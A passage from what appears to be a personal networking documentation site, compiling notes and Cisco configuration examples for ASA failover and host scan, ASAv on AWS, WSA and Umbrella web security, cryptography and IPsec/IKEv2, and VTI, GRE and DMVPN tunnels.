\> Secure Desktop Manager \> Host Scan \> Basic Host Scan \> Add \> File*: File Path: `/Applications/Utilities/Centrify/AD Check.app` ### Dynamic Access Policy Configuration In ASDM, add one group for Windows and one group for Mac, per policy entry. Then add an endpoint attribute per DAP policy. We have to duplicate the DAP Policies, creating one policy for Mac and one for Windows, because when the endpoint connects through VPN, the ASA compares the endpoint's attributes against each DAP Policy. We, unfortunately, cannot add a *File* and *Registry endpoint attribute* and modify the *Logical Operation* to "or" instead of "and". The only way we can change the *Logical Operation* to "and", is to have multiple of the same endpoint attribute per policy, however, this would be nonsensical, as the *File endpoint attribute* is only applicable to Mac (in our case) and the *Registry endpoint attribute* is only applicable to Windows. ![asa host scan](_images/asa-host-scan-2.png) **Windows** Endpoint Attribute Type: Registry Value: string = corp.example.com **Mac** Endpoint Attribute Type: File= ## Capture File Download Go to (Delete `/context` if a single context) ## Failover ``` text ### ASA1 # Setup failover interface en conf t hostname ASA1 failover lan unit pri int g0/6 no shut # Assign failover IP Address failover lan int FAILOVER g0/6 failover int ip FAILOVER 10.255.255.1 255.255.255.252 standby 10.255.255.2 failover key MySecretKey failover link FAILOVER # Configure Outside IP Address on ASA1 int g0/4 ip add 100.100.100.1 255.255.255.248 standby 100.100.100.2 nameif outside1 no shut # Configure Inside IP Address on ASA1 int g0/0 ip add 10.0.0.1 255.255.255.0 standby 10.0.0.2 nameif inside1 security-level 100 no shut # Enable failover failover ### ASA2 # Setup failover interface en conf t hostname ASA2 failover lan unit secondary int g0/6 no shut failover lan int FAILOVER g0/6 # Assign failover IP Address failover int ip FAILOVER 10.255.255.1 255.255.255.252 standby 10.255.255.2 failover key MySecretKey failover link FAILOVER # Enable failover failover ``` ## Site to Site VPN \# Show tunnel uptime show vpn-sessiondb detail l2l filter ipaddress PEERADDRESS \| i Conn\|Dur \# Re-establish tunnel (be careful!) Clear ipsec sa peer PEERADDRESS ### Tunnel Establishing in ASDM ![asa tunnel establish](_images/asa-tunnel-establish.png) --- # ASAv Source: docs/networking/cisco/asav.md URL: https://docs.calebsargeant.com/networking/cisco/asav/ ## AWS ### Important Caveats - Launching through the AWS Marketplace does not allow you to input the *Day 0 Configuration*, which means you will not be able to contact the device. Ensure that you create the ASAv via *EC2 \> Launch Instance*. - Also note that if you want to test the difference between BYOL and standard, whichever you subscribe to last will change the subscription of all ASAvs. - The initial interface that gets created with the ASAv cannot be deleted or dissociated and is exclusively used for the management interface. The second interface you associate is g0/0, the third interface is g0/1, etc. If you remove g0/0, g0/1 will become g0/1. - You need to reboot the ASAv after modifying the interfaces. - You need to license the ASAv before the ASA allows AnyConnect configuration. - ASAv AnyConnect can only be done via Smart Licensing. The ASAv License can be done via the BYOL or Standard AWS license models. ### Useful Links - - ### Launch Steps The process to launch a BYOL ASAv as opposed to the Standard AWS ASAv is the same: ![asav aws](_images/asav-aws-1.png) c4.large is the recommended size (to start with): ![asav aws](_images/asav-aws-2.png) Configure your network settings: ![asav aws](_images/asav-aws-3.png) Configure ASAv interfaces and set day 0 configuration. ![asav aws](_images/asav-aws-4.png) Skip Storage and Tags, select (or create) your Security Group for ASAv: ![asav aws](_images/asav-aws-5.png) Select or create the Key Pair for your ASAv: ![asav aws](_images/asav-aws-6.png) Then, create 2 network interfaces, one in your public subnet (outside), to attach elastic IP, and the other in your private subnet (inside) via *EC2 \> Network Interfaces \> Create Network Interface*: ![asav aws](_images/asav-aws-9.png) ![asav aws](_images/asav-aws-10.png) Allocate an Elastic IP: ![asav aws](_images/asav-aws-7.png) Associate the created Elastic IP to your public (outside) interface: ![asav aws](_images/asav-aws-8.png) ### Day 0 Configuration In the below day 0 configuration, we will be disabling the management interface to have only 2 interfaces (outside, inside). Management will be done via outside, as per standard with physical ASAs in offices. ``` text interface management0/0 management-only nameif management security-level 100 no ip address no shut ! interface g0/0 nameif outside security-level 0 ip address dhcp setroute no shut ! interface g0/1 nameif inside security-level 100 ip address dhcp setroute no shut ! same-security-traffic permit inter-interface same-security-traffic permit intra-interface ! crypto key generate rsa modulus 2048 ssh 0 0 management ssh 0 0 outside http 0 0 management http 0 0 outside ssh timeout 30 ssh scopy enable http server enable 443 username admin SUPERSECUREPASSWORD privilege 15 username admin attributes service-type admin dns domain-lookup management DNS server-group DefaultDNS name-server 1.1.1.1 ntp server 169.254.169.123 ``` ### Using S3 as Software Storage Location - - Create an S3 Bucket with the default settings (permission settings to follow): ![asav aws s3](_images/asav-aws-s3-1.png) ![asav aws s3](_images/asav-aws-s3-2.png) ![asav aws s3](_images/asav-aws-s3-3.png) ![asav aws s3](_images/asav-aws-s3-4.png) Modify the permission setting to allow a *Bucket Policy* (this could have been done in creating the bucket). ![asav aws s3](_images/asav-aws-s3-5.png) Create the Bucket Policy: ![asav aws s3](_images/asav-aws-s3-6.png) The below bucket policy allows only x.x.x.x/32 and y.y.y.y/32 access. ``` json { "Version": "2012-10-17", "Id": "S3PolicyId1", "Statement": [ { "Sid": "IPAllow", "Effect": "Allow", "Principal": "*", "Action": "s3:*", "Resource": "arn:aws:s3:::bucketname/*", "Condition": { "IpAddress": { "aws:SourceIp": [ "x.x.x.x/32", "y.y.y.y/32" ] } } } ] } ``` You can now copy files directly from the S3 bucket onto the ASA: ``` text asa# copy https://bucketname.amazonaws.com/anyconnect-linux64-4.8.02042-webdeploy-k9.zip disk0:/anyconnect-linux64-4.8.02042-webdeploy-k9.zip Address or name of remote host [bucketname.amazonaws.com]? Source filename [anyconnect-linux64-4.8.02042-webdeploy-k9.zip]? Destination filename [anyconnect-linux64-4.8.02042-webdeploy-k9.zip]? Accessing https://bucketname.amazonaws.com/anyconnect-linux64-4.8.02042-webdeploy-k9.zip...!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Writing file disk0:/anyconnect-linux64-4.8.02042-webdeploy-k9.zip... !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 40004376 bytes copied in 2.90 secs (20002188 bytes/sec) ``` --- # Comparing WSA and Cisco Umbrella Source: docs/networking/cisco/core-security/content-security-with-cisco-wsa-and-cisco-umbrella/1.-comparing-wsa-and-cisco-umbrella.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/content-security-with-cisco-wsa-and-cisco-umbrella/1.-comparing-wsa-and-cisco-umbrella/ ## Web Security Appliance and Cisco Umbrella ### WSA Versus Umbrella Both are designed to protect against threats that occur through web traffic **Web Security Appliance** On-premises proxy appliance that web traffic flows through for inspection **Cisco Umbrella** Cloud based product that blocks DNS reply to malicious sites before the connection occurs ## WSA Acceptable Use Controls - URL Filtering and Dynamic Content Analysis ### URL Filtering - Legacy proxies can incorrectly categorize up to 80% of websites - WSA integrates into Cisco ecosystem - Talos determines malicious sites - 85 predetermined URL categories - Sites can change categorization based on updated information ### WSA Actions - Monitor - Monitor traffic and compare to other settings - Warn - Users will have to acknowledge AUP to continue - Block - Deny access to the site - Time Based - Access to sites during preconfigured times - Quota Based - Daily amount of traffic or time spent on a category - Explicit Allow - Allow sites regardless if they fall into blocked categories - Redirect - Redirects traffic to another URL The WSA allows organizations to categorize websites into custom URL categories. ### Uncategorized URLs - If the URLs are for internal sites, create a custom category - WSA will use Dynamic Content Analysis engine - Look for words inside of the URL - Analyze content of site and compare to large dataset ### Precedence - Custom URL Categories - Predefined URL Categories - Undefined URL Categories ## WSA Acceptable Use Controls Application Visibility and Control ### Application Visibility and Control - Differences between URLs and applications - URL filtering alone is all or nothing - AVC sees applications in use on the website ### Categorize Applications - Name - Behavior - Type ### WSA Actions - Monitor - Monitor traffic and compare to other settings - Bandwidth - Limit Limit the total amount of traffic on the site - Restrict - Application isn’t allowed but the website is - Block - Entire website is blocked ## Anti-malware on the WSA ### Dynamic Vectoring and Streaming Engine DVS engine is a framework that allows for other systems to integrate with the WSA. - Webroot - Adware and spyware detection that compares URL request to signature database - Sophos - Malware scanning engine that uses genotype and behavioral genotype technologies - McAfee - Uses signatures and heuristic analysis. Allows for new threats to be detected Sophos and McAfee can not be used at the same time. Webroot can be used with either Sophos or McAfee. ### Cisco AMP Integration - Sends AMP SHA-256 hash of file - Know if the file is malicious or not - If hash hasn’t been seen, WSA will allow the file - Send AMP a copy of the file - AMP will update files maliciousness as more information is learned ### Web Reputation Scores (WBRS) Integrate with Talos to determine a sites score on the likelihood that it would contain malicious content - -10 through -6 - Sites that have been hijacked or that are actively spreading malware - Block traffic to that site - +6 through +10 - Widely accessed sites that have a long history of being responsible - Allow traffic, and not decrypt - -6 through +6 - Ad syndication or user generated content - Allow traffic, but decrypt and scan for DLP ## Cisco Umbrella Features ### Traditional Firewalls and Proxies - Inspect the communication as it’s occurring - Requires traffic to be decrypted - Powerful devices are on-site - Can affect performance ### Cisco Umbrella - Blocks DNS reply so communication never occurs - Relies on Cisco Talos data to know whether sites are safe or not - Safe sites/Whitelisted - Resolves DNS request to the website - Unsafe Sites/Blacklisted - DNS response goes to a block page - Unknown/Risky - DNS response goes to Umbrella’s Intelligent Proxy in the cloud ### Additional Umbrella Features - Associates multiple related domains - Forexample.com and forinstance.com - Different domains are associated - Top level domain mapping - American Registry for Internet Numbers - Asia-Pacific Network Information Centre - Region specific domains should have region specific IP address ### Intelligent Proxy - Used for risky sites - Resolve DNS request with Umbrella’s proxy IP - Inspect traffic, and can scale in size as needed ### Umbrella Investigate - View real time data on a website - DNS requests over time - Integrate with Umbrella Investigate’s API ## Cisco Umbrella Tiers ### Free Umbrella Tier - Point endpoints to 208.67.220.220 or 208.67.222.222 - Blocks websites that Umbrella knows are malicious ### Umbrella DNS Security Essentials - Create specific policies - Custom URL filtering and policies - Block users on-premises or using the Umbrella agents - Reports and APl available ### Umbrella DNS Security Advantage - Decrypt TLS traffic - Block direct IP communication - Umbrella investigate ### Umbrella Secure Internet Gateway Essentials - Direct IPsec tunnel to Umbrella - Threat grid file sandboxing - Cloud-delivered firewall - Cloud Access Security Broker All policies are configured in the Umbrella Cloud dashboard. --- # Deploying the Web Security Appliance Source: docs/networking/cisco/core-security/content-security-with-cisco-wsa-and-cisco-umbrella/2.-deploying-the-web-security-appliance.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/content-security-with-cisco-wsa-and-cisco-umbrella/2.-deploying-the-web-security-appliance/ ## Different Deployment Modes for the WSA ### Explicit Forward Mode - Endpoint explicitly configured to use WSA - Can use PAC file to configure machine ### Transparent Mode - WCCP configured - Policy Based Routing or a L4-7 device can also be used to redirect traffic ## Licensing and Initial Setup of the WSA ``` text interfaceconfig setgateway commit ``` ## Finishing the Setup Using the GUI ![image1](_images/deploying-the-web-security-appliance-1.png) ![image2](_images/deploying-the-web-security-appliance-2.png) ![image3](_images/deploying-the-web-security-appliance-3.png) ![image4](_images/deploying-the-web-security-appliance-4.png) ## Integrating the WSA with Active Directory ![image5](_images/deploying-the-web-security-appliance-5.png) ## Configuring Identification Profiles ### Identification Profiles - WSA imposes policies based off of various criteria - Policies can use user/group information, subnet, and proxy ports - Different identification profiles can be used for different policies ![image6](_images/deploying-the-web-security-appliance-6.png) --- # Configuring the WSA as a Secure Internet Gateway Source: docs/networking/cisco/core-security/content-security-with-cisco-wsa-and-cisco-umbrella/3.-configuring-the-wsa-as-a-secure-internet-gateway.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/content-security-with-cisco-wsa-and-cisco-umbrella/3.-configuring-the-wsa-as-a-secure-internet-gateway/ ## Modifying the Global Access Policy - Restrict URL categories - Restrict Google Maps application - Look at file types we can block - Configure antimalware settings ![image1](_images/configuring-the-wsa-as-a-secure-internet-gateway-1.png) ## Creating an Exemption Access Policy - Look at new identification profiles - Create exemption policy for IT admins ![image2](_images/configuring-the-wsa-as-a-secure-internet-gateway-2.png) ![image3](_images/configuring-the-wsa-as-a-secure-internet-gateway-3.png) ## Testing the WSA’s Access Policies ![image4](_images/configuring-the-wsa-as-a-secure-internet-gateway-4.png) ## Decryption Policy Overview - Client initiates TLS session with site - WSA initiates TLS session with site on client’s behalf - Site sends signed certificate to present to client - WSA sends signed copy of site’s certificate ### Configuring Certificates on the WSA **Self-Signed Certificates** - Certificates will need to be added to every endpoint - Not scalable **Add Certificate to PKI** - Endpoints already trust certificates signed by CA - More scalable ## Installing Certificates on the WSA - Install root certificate on WSA - Create CSR and obtain cert - Install certificate on WSA ![image5](_images/configuring-the-wsa-as-a-secure-internet-gateway-5.png) ## Configuring Decryption Policies and Verifying ![image6](_images/configuring-the-wsa-as-a-secure-internet-gateway-6.png) --- # Configuring Traffic Redirection on the WSA Source: docs/networking/cisco/core-security/content-security-with-cisco-wsa-and-cisco-umbrella/4.-configuring-traffic-redirection-on-the-wsa.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/content-security-with-cisco-wsa-and-cisco-umbrella/4.-configuring-traffic-redirection-on-the-wsa/ ## WCCP Overview ### WCCP Versions and Service Groups - Version 1 - HTTP only - Version 2 - HTTPs, FTP, Encryption - Service Group 0 - Web-Cache - Service Group 70 - HTTPs - Service Groups 90-97 - User Defined - Service Group 99 - Reverse Proxy ## Configuring WCCP on a WSA - Enable WCCP - Configure web traffic service group - Configure HTTPs service group ![image1](_images/configuring-traffic-redirection-on-the-wsa-1.png) ![image2](_images/configuring-traffic-redirection-on-the-wsa-2.png) ## Configuring WCCP on a Cisco Switch - Enable WCCPv2 - Define traffic to be redirected - Define WSA - Create WCCP service groups - Apply service groups to the VLAN ``` text Globo-Access(config)#ip wccp version 2 Globo-Access(config)#ip wccp source-interface gi1/0/24 Globo-Access(config)#ip access-list extended HTTP Globo-Access(config-ext-nacl)#permit tcp 192.168.18.0 0.0.0.255 any eq Www Globo-Access(config-ext-nacl)#exit Globo-Access(config)#ip access-list extended HTTPs Globo-Access(config-ext-nacl)#permit tcp 192.168.18.0 0.0.0.255 any eq 443 Globo-Access(config-ext-nacl)#exit Globo-Access(config)#ip access-list standard WSA Globo-Access(config-std-nacl)#permit 172.20.1.75 Globo-Access(config-std-nacl)#exit Globo-Access(config)#ip Wccp web-Cache redirect-list HTTP group-list WSA password GLobo Globo-Access(config)#ip wccp 92 redirect-list HTTPs group-list WSA password Globo Globo-Access(config)#int vlan 10 Globo-Access(config-if)#ip wccp web-cache redirect in Globo-Access(config-if)#ip wccp 92 redirect in ``` --- # Deploying Cisco Umbrella Source: docs/networking/cisco/core-security/content-security-with-cisco-wsa-and-cisco-umbrella/5.-deploying-cisco-umbrella.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/content-security-with-cisco-wsa-and-cisco-umbrella/5.-deploying-cisco-umbrella/ ## Configuring Networks to Use Cisco Umbrella - Umbrella virtual machine forwarder - DHCP - Add public IPs to Umbrella - Add internal networks to Umbrella ![image1](_images/deploying-cisco-umbrella-1.png) ``` text config va localdns 172.20.1.5 exit ``` ![image2](_images/deploying-cisco-umbrella-2.png) ## Creating Policies in Cisco Umbrella - Create policy components - Create a policy ![image3](_images/deploying-cisco-umbrella-3.png) ![image4](_images/deploying-cisco-umbrella-4.png) ![image5](_images/deploying-cisco-umbrella-5.png) ## Cisco Umbrella Roaming Computer Profiles - Configure DNS and verify IP address - Download and install roaming client - Update proxy - Verify ![image6](_images/deploying-cisco-umbrella-6.png) ## Cisco Umbrella Investigate ![image7](_images/deploying-cisco-umbrella-7.png) --- # Content Security with Cisco WSA & Cisco Umbrella Source: docs/networking/cisco/core-security/content-security-with-cisco-wsa-and-cisco-umbrella/index.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/content-security-with-cisco-wsa-and-cisco-umbrella/ --- # Comparing Cryptography Components Source: docs/networking/cisco/core-security/describing-and-configuring-vpns/1.-comparing-cryptography-components.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/describing-and-configuring-vpns/1.-comparing-cryptography-components/ ## Cryptography, Encryption, and Hashing ### Cryptography - Confidentiality - Integrity - Non-repudiation - Authentication **What is it?** - Plain text is encrypted using a key - Data becomes cipher text, cipher text is decrypted with a key - Data is plain text again ### Encryption **Purpose of encryption** - Unauthorized parties don’t have access - Provides confidentiality - Encrypted cipher text has to be decrypted - Various protocols can accomplish this **Types of Encryption** - Symmetric - Same key used to encrypt is used to decrypt - Asymmetric - Two keys, one to encrypt, and a different one to decrypt **Types of Symmetric Ciphers** - Block Ciphers - Encrypt a fix size of data, one block at a time - Stream Cipher - Encrypt one bit/byte at a time ### Hashing - Hash is secure when it cannot be converted back to original text - String or number generated from text - Fixed in length - Very greatly with just a small change **Hash Use Case** - Store hashes of passwords - Compare hash of entered password to a stored hash of the password - Ensure file downloads have not been modified - Compare hash on website to hash of the file that was downloaded ## Symmetric Algorithms - The algorithms in use today may not be secure tomorrow - Next Generation Algorithms - Secure enough for today’s computing power - Estimated to be secure for 2 decades - Commercial NSA Suite will need to be replaced - Standards expected by 2024 - Algorithm is considered secure if the algorithm is known publicly, but the data is still confidential. ### DES & 3DES **DES** - 64 bit block - 56 bit key **3DES** - Data encrypted with key1 - Decrypted with key2 - Encrypted again with key3 ### AES - Blocks are 128 bit - Various key sizes - 128 bit, 192 bit, 256 bit - AES 256 required for Top Secret information - GCM & CBC - GCM is more secure, and provides hashing ### Blowfish & Twofish - Blowfish - 64 bit block - Various key sizes - 32 bits to 448 bits - Twofish - 128 bit block - Key sizes of 128, 192 and 256 ### RC4 - Stream cipher - Key sizes from 40 bits to 2048 bits - Insecure ## Asymmetric Algorithms ### Diffie Hellman - Create a shared key over an insecure medium - Mainly used as a key exchange - Legacy - Group 1: 768 modulus bits - Group 2: 1024 modulus bits - Group 5: 1536 modulus bits - Current - Group 14: 2048 modulus bits - Group 15: 3072 modulus bits - Group 16: 4096 Modulus bits - Next Generation - Based off of elliptic curve math - Group 19: 256 bit elliptic curve - Group 20: 384 bit elliptic curve - Group 21: 521bit elliptic curve ### RSA - Traffic encrypted with KeyA and decrypted with KeyB - Public key known by everyone - Private key only known by system - Allows for easier key management **RSA Key Size** - 768 & 1024 - 3072 - top secret information - 2048 - Minimum - 4096 ### DSA - Asymmetric private and public key pair - Traditional key values from 512 3072 - Elliptic Curve Keys - ECDSA 256 - ECDSA 384 - top secret information ## Hashing Algorithms - MD5 - 128-bit hash - 32 hex characters - Multiple vulnerabilities - insecure - SHA1 - 160-bit hash value - 40 hexadecimal characters - Also proven to not be secure ### Key Sizes - SHA-256 - SHA-384 - SHA-512 - All SHA versions have an HMAC (hash-based message authentication code - md5, etc.) variant ## VPN Types ### Site-to-Site VPN - Allow branches to connect with each other or HQ - Allow different companies to connect to each other ### Remote Access VPN - VPNs are encrypted - IPSEC - TLS ## Pre Shared Keys, Digital Certificates, and PKI ### Pre-Shared Keys for Authentication - Both sides of VPN need to authenticate each other - If both sides are using the correct pre- shared key, they are who they say they are - Can be difficult to share the pre-shared key - Not scalable ### Public Key Infrastructure - Certificate Authority (CA) - Device that issues and revokes certificates - PKI Hierarchy - Chain of CA’s that sign certificates - Validation Authority (VA) - Ensure that the certificates are still valid - Digital Certificates - Provides the identity & public key of the devices ## IPsec Encryption - Composed of multiple protocols - IKEv1 or IKEv: - ESP - AH ### IKE - IKE version 1 - IKE version 2 - Phase 1 and Phase 2 **IKE Phase 1 - ISAKMP** - Used to identify both sides of tunnel - Authentication, Encryption, Integrity - UDP 500 - **H**ash - SHA or MD5 - **A**uthentication - Certs or PSK - **G**roup - Diffie Hellman - **L**ifetime - Sec, Min, Hrs, Days - **E**ncryption - 3DES or AES **Phase 1 Main Mode Messages** - Client sends HAGLE config - Server replies with choice - Client sends DH secret key - Server sends DH secret key - PSK/cert sent by client - PSK/cert sent by server **IKE Phase 2 - ESP or AH** - HAGLE gets matched again for phase 2 (IPSec) - Known as quick mode (3 messages sent) - ESP (IP 50) (italics are protected) - Plain Text - IP \| TCP/UDP \| PAYLOAD - ESP Transport - IP \| *ESP HDR* \| *TCP/UDP* \| *PAYLOAD* \| *ESP TRAIL* \| ESP AUTH - ESP Tunnel - New IP \| *ESP HDR* \| *IP* \| *TCP/UDP* \| *PAYLOAD* \| *ESP TRAIL* \| ESP AUTH - ESP Tunnel w/NAT-T - New IP \| UDP 4500 \| *ESP HDR* \| *IP* \| *TCP/UDP* \| *PAYLOAD* \| *ESP TRAIL* \| ESP AUTH - AH (IP 51) (not recommended) - Plain Text - IP \| TCP/UDP \| PAYLOAD - AH Transport - IP \| AH HDR \| TCP/UDP \| PAYLOAD - AH Tunnel - NEW \| IP \| AH HDR \| IP \| TCP/UDP \| PAYLOAD ### IKEv2 - Additional capabilities - NAT - Dead-peer detection - Different authentication methods - 4 messages to setup - IKE_SA and Child_SA ## SSL/TLS - Secure Socket Layer - Created by Netscape - SSL 1.0, SSL 2.0, SSL 3.0 - Officially depreciated in 2015 - Transport Layer Security - RFC Standard - TLS 1.0 is the same as SSL 3.0 - TLS1.0, TLS1.1, TLS1.2 **Tunnel Forming** - Client sends ciphers/hashing it supports & TLS version & session ID - Server/FW sends choice of cipher, etc. - Server sends digital cert - Client uses digital cert to see that server is who they say they are - Client uses server’s public key in digital cert to encrypt master key - Master key is used to encrypt all traffic going forward - Client sends message to server to say this - Server decrypts using private key and uses master key - Tunnel established --- # Comparing Cisco VPN Types Source: docs/networking/cisco/core-security/describing-and-configuring-vpns/2.-comparing-cisco-vpn-types.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/describing-and-configuring-vpns/2.-comparing-cisco-vpn-types/ ## Configuring ISAKMP & IKE SA Tunnels **Configuring IPSec on Cisco IOS** **Configure IKEv1** - Configure Phase 1 Tunnel - Configure ISAKMP Policy - Where the HAGLE parameters are configured - Configure ISAKMP PSK - Where the PSK is configured for each VPN address - Configuring Phase 2 Tunnel - Configure Transform Set - Configure IPsec Profile **Configure IKEv2** - Configure IKE_SA Tunnel - Configure IKEv2 Proposal - Configure IKEv2 Profile - Configure IKEv2 Policy - Configure Keyring - Configure Child SA Tunnel - Configure Transform Set - Configure IPsec Profile ### IKEv1 Phase 1 Configuration Tasks **Configure ISAKMP Policy** - The lower the number, the higher the priority - Configure each HAGLE parameter by entering the attribute that you want to configure, followed by the chosen configuration - It is best practice to have the most secure algorithm with the highest priority, while the least secure algorithm will be the lowest priority - The ISAKMP policy number does not need to be the same on both sides ``` text (config)#crypto isakmp policy 10 (config-isakmp)#hash sha512 (config-isakmp)#authentication pre-share (config-isakmp)#group 15 (config-isakmp)#lifetime 86400 (config-isakmp)#encryption aes 256 ``` **Configure ISAKMP PSK** ``` text (config)#crypto isakmp key cisco123 1.1.1.1 # OR (config)#crypto isakmp key cisco123 hostname omaha-router.globomantics.com ``` ### IKEV2 IKE_SA Configuration Tasks **Configure Keyring** - Defines the PSKs of VPN peers are configured ``` text # Creates a keyring with a locally significant name (config)#crypto ikev2 keyring name_of_keyring # Creates a peer within the key ring that all attributes will be assigned to (config-ikev2-keyring)#peer name_of_peer # Specify the IP address (config-ikev2-keyring-peer)#address ip_address # Enter the identity mechanism the router will use to identify the peer (config-ikev2-keyring-peer)#identity r1.test.com # Enter both the local and remote PSK (config-ikev2-keyring-peer)#pre-shared-key local cisco123 # Enter both the local and remote PSK (config-ikev2-keyring-peer)#pre-shared-key remote cisco456 ``` **Configure IKEv2 Proposal** - Defines Hash, DH Group, and Encryption **Configure IKEv2 Profile** - Defines Authentication, Keyring, Lifetime ``` text # Creates an IKEv2 profile with a locally significant name (config)#crypto ikev2 profile name_of_profile # Matches our peer. Can be IP address, Domain name, email, etc (config-ikev2-profile)#match identity remote identifier # Identifies how we will authenticate with the peer locally (config-ikev2-profile)#authentication local # Identifies how we will authenticate with the peer remotely (config-ikev2-profile)#authentication remote # Enter both the local and remote PSK (config-ikev2-profile)#keyring name_of_keyring # Specifies the lifetime (config-ikev2-profile)#lifetime lifetime_length_in_seconds # Determines the identity the router will send to VPN peer (config-ikev2-profile)# identity local fqdn fully_qualified_domain_name ``` **Configure IKEv2 Policy** - Defines router traffic to match - Whenever possible, use explicit policies for VPN connections ``` text (config)#crypto ikev2 policy name_of_policy (config-ikev2-profile)#match address local ip_address (config-ikev2-profile)#match fvrf name_of_fvrf # Specifies the IKEv2 Proposal traffic that matches this policy will use (config-ikev2-profile)#proposal name_of_ikev2_proposal ``` ## Configuring the IPsec Tunnel ### Configuring the 2nd Tunnel (IKEv1 or IKEv2) **Configure Transform Set** - Defines encryption and hash of second tunnel ``` text # Specifies the encryption and hashing algorithm (config)#crypto ipsec transform-set name esp-aes 256 esp-sha256-hmac # Specifies if the tunnel is in transport mode or tunnel mode (cfg-crypto-trans)#mode ``` **Configure IPsec Profile** - Associates transform set with the first tunnel ``` text (config)#crypto ipsec profile name_of_profile # Matches transform set to the first tunnel (ipsec-profile)#set transform-set name_of_transform_set (ipsec-profile)#set name_of_profile ``` ### Legacy Configuration (Crypto-Maps) ``` text (config)#access-list 100 permit ip 192.168.1.0 0.0.0.255 any (config)#crypto map crypto_map_name sequence_number ipsec-isakmp (config-crypto-map)#match address 100 (config-crypto-map)#set peer 1.1.1.1 (config-crypto-map)#set transform-set transform_set_name (config-crypto-map)#set isakmp-profile isakmp_profile_name (config-crypto-map)#exit (config)#interface ethernet 0/1 (config-if)#crypto map crypto_map_name ``` ## Cisco Tunnel Interface Types ### Virtual Tunnel Interface (VTI) - Allows for easier management - Can apply policies to tunnel interface just like any other interface - Can use the IP address of another interface **VTI Configuration** ``` text (config)#tunnel interface interface_number (config-if)#tunnel mode ipsec (config-if)#ip address ip_address subnet_mask OR (config-if)#ip unnumbered interface_number (config-if)#tunnel source (config-if)#tunnel destination ip_address_of_peer (config-if)#tunnel protection ipsec profile name_of_profile ``` ### Dynamic VTI - Used in hub-and-spoke S2S VPNs - Use a template to dynamically - Each interface would use the config outlined in the template create tunnel interfaces **dVTI Configuration** ``` text (config)#interface virtual-template template_number type tunnel (config-if)#tunnel mode ipsec (config-if)#ip address ip_address subnet_mask (config-if)#tunnel source (config-if)#tunnel protection ipsec profile name_of_profile (config-if)#exit (config)#crypto ikev2 profile name_of_profile (config-ikev2-profile)#virtual-template template_number ``` ### GRE Tunnel - Generic Routing Encapsulation - Not encrypted - Allows unicast, multicast, broadcast and non-IP traffic - Needs its own IP address, source interface, and destination IP address **GRE Tunnel Configuration** ``` text (config)#tunnel interface interface_number (config-if)#tunnel mode gre (config-if)#ip address ip_address subnet_mask (config-if)#tunnel source (config-if)#tunnel destination ip_address_of_peer (config-if)#tunnel protection ipsec profile name_of_profile ``` ### MTU Size and MSS Size - Ethernet MTU is 1500 - Any packet that is 1500 will need to be fragmented after IPsec headers are added - That will not work as the IPsec trailers would not be included - Smaller MTU on the interface - Packets will be fragmented before IPsec is applied - MSS value - 40 less for IPv4 **MTU Size and MSS Size Configuration** ``` text (config-if)#ip mtu 1400 (config-if)#ip tcp adjust-mss 1360 ``` ### GRE Multipoint Interface - Allows tunnel interface to create Multiple VPNs with multiple devices - Used with DMVPN **GRE Multipoint Interface Configuration** ``` text ### (config-if)#tunnel destination ip_address_of_peer - is not configured (config)#tunnel interface interface_number (config-if)#tunnel mode gre multipoint (ipv6) (config-if)#ip address ip_address subnet_mask (config-if)#tunnel source (config-if)#tunnel protection ipsec profile name_of_profile (config-if)#ip mtu 1400 (config-if)#ip tcp adjust-mss 1360 ``` ## DMVPN - DMVPN doesn’t require each spoke to have a static NBMA - NHRP network IDs - DMVPN uses GRE interfaces, IPsec still needs to be applied - Configure additional security - Tunnel keys - NHRP authentication ### DMVPN Components - Non-Broadcast Multiple Access (NBMA) Address - IP address routers use to establish VPN - Next Hop Resolution Protocol (NHRP) - Maps the NBMA to each tunnel interface - Next Hop Server (NHS) - Main device that has the NBMA’s for all of the routers **DMVPN in Words** - R1 uses dynamic routing protocol to get to R2 via HQ - R1 tunnel interface is configured as MGRE and configured with NHRP - As soon as first packet is sent, R1 will make NHRP request to next-hop server - R1 asks HQ how to get to R2 - HQ sends NHRP to R2, R2 sends NBMA address to R1 - R1 establishes its own tunnel to R2 ### DMVPN Phases Hub will always forward NHRP request, even if it knows the NBMA that the request initiator is trying to find. - Phase 1 - Requires all traffic to go through the hub - Benefit: Allows dynamic tunnels - Phase 2 - Allows spoke-to-spoke tunnels - Phase 3 - Hub can enforce optimal path - Hierarchical design of DMVPN - Better route summaries ## FlexVPN - Framework that encompasses different VPN deployments - Hub router has different templates for each VPN type - Virtual templates contains the necessary configurations - Once authentication is matched, corresponding virtual template is used - Can send configurations through the VPN tunnel - High availability (secondary hubs, etc.) - FlexVPN requires IKEv2 to be used. **Authorization** - Authorization can be done through RADIUS or local database - Find attributes in certificate - Pass those attributes to auth server - Based on auth server, implement various configurations ## Cisco AnyConnect - Client that is installed on user’s device that allows a remote access VPN - Can connect to IOS, ASA, or FTD - Can have different profiles push out different parameters IP address, ACLs, login times - IP address could be used on ACLs in other parts of the network - Split Tunneling - Allows some traffic to flow through tunnel, while other traffic goes through user’s LAN - Encryption can be IPsec or TLS - IPv4 or IPv6 - Allows multiple tunnel endpoints to be configured ### Additional AnyConnect Features - Integrate with other Cisco products - Provide visibility, compliance, malware protection, & web inspection - Remote Access VPNs can also be achieved through Clientless VPN --- # Configuring DMVPN Source: docs/networking/cisco/core-security/describing-and-configuring-vpns/3.-configuring-dmvpn.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/describing-and-configuring-vpns/3.-configuring-dmvpn/ ## Configuring DMVPN on the Hub Router - Configure interface tunnel 100 on HQ router - Configure spokes ``` text Globomantics-HQ(config)#int tun 100 Globomantics-HQCconfig-if)#ip address 192.168.100.1 255.255.255.0 Globomantics-HQ(config-if)#tunnel mode gre multipoint Globomantics-HQ(Config-if)#tunnel source ethernet 0/1 Globomantics-HQ(config-if)#ip mtu 1400 Globomantics-HQ(config-if)#ip tcp adjust-mss 1360 Globomantics-HQ(config-if)#ip nhrp network-id 100 Globomantics-HQ(config-if)#ip nhrp authentication Globo123 Globomantics-HQ(config-if)#ip 